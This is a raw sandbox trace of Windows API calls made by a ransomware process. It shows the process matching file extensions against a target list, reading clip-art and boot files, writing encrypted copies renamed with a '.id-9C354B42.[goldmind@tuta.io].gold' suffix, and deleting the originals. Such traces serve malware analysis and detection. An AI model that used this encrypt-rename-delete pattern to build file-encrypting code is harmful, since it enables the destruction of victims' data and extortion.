lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.816] lstrlenW (lpString=".7z") returned 3 [0053.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.816] lstrlenW (lpString=".dbf") returned 4 [0053.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.816] lstrlenW (lpString=".1cd") returned 4 [0053.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.816] lstrlenW (lpString=".jpg") returned 4 [0053.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.816] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.816] lstrlenW (lpString="BS00076_.WMF") returned 12 [0053.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.816] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1330) returned 1 [0053.816] CloseHandle (hObject=0x210) returned 1 [0053.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0053.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.817] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.817] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0053.817] GetLastError () returned 0x0 [0053.817] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x532, lpOverlapped=0x0) returned 1 [0053.888] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x540, lpOverlapped=0x0) returned 1 [0053.889] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.889] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.889] SetEndOfFile (hFile=0x1e4) returned 1 [0054.047] CloseHandle (hObject=0x1e4) returned 1 [0054.047] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.047] SetEndOfFile (hFile=0x210) returned 1 [0054.047] CloseHandle (hObject=0x210) returned 1 [0054.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0054.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0054.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.253] lstrlenW (lpString=".doc") returned 4 [0054.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.253] lstrlenW (lpString=".docx") returned 5 [0054.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.253] lstrlenW (lpString=".pdf") returned 4 [0054.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.256] lstrlenW (lpString=".xls") returned 4 [0054.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.261] lstrlenW (lpString=".xlsx") returned 5 [0054.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.261] lstrlenW (lpString=".ppt") returned 4 [0054.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.262] lstrlenW (lpString=".zip") returned 4 [0054.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.262] lstrlenW (lpString=".rar") returned 4 [0054.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.271] lstrlenW (lpString=".bz2") returned 4 [0054.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.273] lstrlenW (lpString=".7z") returned 3 [0054.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.273] lstrlenW (lpString=".dbf") returned 4 [0054.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.273] lstrlenW (lpString=".1cd") returned 4 [0054.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.273] lstrlenW (lpString=".jpg") returned 4 [0054.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.273] lstrlenW (lpString=".doc") returned 4 [0054.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.273] lstrlenW (lpString=".docx") returned 5 [0054.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.273] lstrlenW (lpString=".pdf") returned 4 [0054.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.273] lstrlenW (lpString=".xls") returned 4 [0054.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.273] lstrlenW (lpString=".xlsx") returned 5 [0054.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.273] lstrlenW (lpString=".ppt") returned 4 [0054.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.273] lstrlenW (lpString=".zip") returned 4 [0054.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.273] lstrlenW (lpString=".rar") returned 4 [0054.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.273] lstrlenW (lpString=".bz2") returned 4 [0054.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.274] lstrlenW (lpString=".7z") returned 3 [0054.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.274] lstrlenW (lpString=".dbf") returned 4 [0054.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.274] lstrlenW (lpString=".1cd") returned 4 [0054.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0054.274] lstrlenW (lpString=".jpg") returned 4 [0054.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.274] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0054.274] lstrlenW (lpString="BS00135_.WMF") returned 12 [0054.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.167] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1044) returned 1 [0055.167] CloseHandle (hObject=0x244) returned 1 [0055.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0055.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.168] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.168] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0055.168] GetLastError () returned 0x0 [0055.168] ReadFile (in: hFile=0x244, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x414, lpOverlapped=0x0) returned 1 [0055.525] WriteFile (in: hFile=0x248, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x420, lpOverlapped=0x0) returned 1 [0055.526] ReadFile (in: hFile=0x244, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.526] WriteFile (in: hFile=0x248, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.526] SetEndOfFile (hFile=0x248) returned 1 [0055.620] CloseHandle (hObject=0x248) returned 1 [0055.620] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.620] SetEndOfFile (hFile=0x244) returned 1 [0055.627] CloseHandle (hObject=0x244) returned 1 [0055.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0056.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.471] lstrlenW (lpString=".doc") returned 4 [0056.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.471] lstrlenW (lpString=".docx") returned 5 [0056.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.471] lstrlenW (lpString=".pdf") returned 4 [0056.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.471] lstrlenW (lpString=".xls") returned 4 [0056.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.471] lstrlenW (lpString=".xlsx") returned 5 [0056.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.471] lstrlenW (lpString=".ppt") returned 4 [0056.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.471] lstrlenW (lpString=".zip") returned 4 [0056.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.471] lstrlenW (lpString=".rar") returned 4 [0056.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.471] lstrlenW (lpString=".bz2") returned 4 [0056.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.471] lstrlenW (lpString=".7z") returned 3 [0056.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.471] lstrlenW (lpString=".dbf") returned 4 [0056.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.471] lstrlenW (lpString=".1cd") returned 4 [0056.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.472] lstrlenW (lpString=".jpg") returned 4 [0056.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.472] lstrlenW (lpString=".doc") returned 4 [0056.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString=".docx") returned 5 [0056.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.472] lstrlenW (lpString=".pdf") returned 4 [0056.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString=".xls") returned 4 [0056.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.472] lstrlenW (lpString=".xlsx") returned 5 [0056.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.472] lstrlenW (lpString=".ppt") returned 4 [0056.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.472] lstrlenW (lpString=".zip") returned 4 [0056.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.472] lstrlenW (lpString=".rar") returned 4 [0056.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString=".bz2") returned 4 [0056.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString=".7z") returned 3 [0056.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.472] lstrlenW (lpString=".dbf") returned 4 [0056.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.472] lstrlenW (lpString=".1cd") returned 4 [0056.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0056.472] lstrlenW (lpString=".jpg") returned 4 [0056.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.472] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.472] lstrlenW (lpString="BS01635_.WMF") returned 12 [0056.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 11 os_tid = 0xadc [0033.891] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x920500 [0033.891] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x930508 [0033.891] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0308 [0033.891] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8ba390 [0033.891] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0320 [0033.891] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3640020 [0033.892] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0338 [0033.892] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0338, Size=0x20) returned 0x8ff938 [0033.892] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0338 [0033.892] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0338, Size=0x20) returned 0x8ff910 [0033.892] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.892] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.892] Wow64DisableWow64FsRedirection (in: OldValue=0x2b6ff58 | out: OldValue=0x2b6ff58*=0x0) returned 1 [0033.892] lstrlenW (lpString="kernel32.dll") returned 12 [0033.892] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff938 | out: hHeap=0x880000) returned 1 [0033.892] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.892] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff910 | out: hHeap=0x880000) returned 1 [0033.892] Sleep (dwMilliseconds=0x64) [0034.596] lstrcmpiW (lpString1=".ttf", lpString2=".gold") returned 1 [0034.596] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0034.596] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.978] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=47452) returned 1 [0034.978] CloseHandle (hObject=0x18c) returned 1 [0034.978] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0034.978] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.978] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.978] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.978] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.978] lstrlenW (lpString=".doc") returned 4 [0034.978] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0034.978] lstrlenW (lpString=".docx") returned 5 [0034.978] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0034.978] lstrlenW (lpString=".pdf") returned 4 [0034.978] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0034.978] lstrlenW (lpString=".xls") returned 4 [0034.978] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0034.978] lstrlenW (lpString=".xlsx") returned 5 [0034.978] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0034.978] lstrlenW (lpString=".ppt") returned 4 [0034.978] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0034.978] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.978] lstrlenW (lpString=".zip") returned 4 [0034.978] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0034.978] lstrlenW (lpString=".rar") returned 4 [0034.978] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0034.978] lstrlenW (lpString=".bz2") returned 4 [0034.978] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0034.978] lstrlenW (lpString=".7z") returned 3 [0034.978] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0034.978] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.978] lstrlenW (lpString=".dbf") returned 4 [0034.978] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0034.978] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.978] lstrlenW (lpString=".1cd") returned 4 [0034.978] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0034.978] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.978] lstrlenW (lpString=".jpg") returned 4 [0034.978] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0034.978] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.979] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.979] lstrlenW (lpString=".doc") returned 4 [0034.979] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0034.979] lstrlenW (lpString=".docx") returned 5 [0034.979] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0034.979] lstrlenW (lpString=".pdf") returned 4 [0034.979] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0034.979] lstrlenW (lpString=".xls") returned 4 [0034.979] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0034.979] lstrlenW (lpString=".xlsx") returned 5 [0034.979] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0034.979] lstrlenW (lpString=".ppt") returned 4 [0034.979] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0034.979] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.979] lstrlenW (lpString=".zip") returned 4 [0034.979] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0034.979] lstrlenW (lpString=".rar") returned 4 [0034.979] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0034.979] lstrlenW (lpString=".bz2") returned 4 [0034.979] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0034.979] lstrlenW (lpString=".7z") returned 3 [0034.979] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0034.979] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.979] lstrlenW (lpString=".dbf") returned 4 [0034.979] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0034.979] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.979] lstrlenW (lpString=".1cd") returned 4 [0034.979] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0034.979] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0034.979] lstrlenW (lpString=".jpg") returned 4 [0034.979] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0034.979] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.979] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.979] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.979] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=93248) returned 1 [0034.979] CloseHandle (hObject=0x18c) returned 1 [0034.979] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0034.980] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.980] 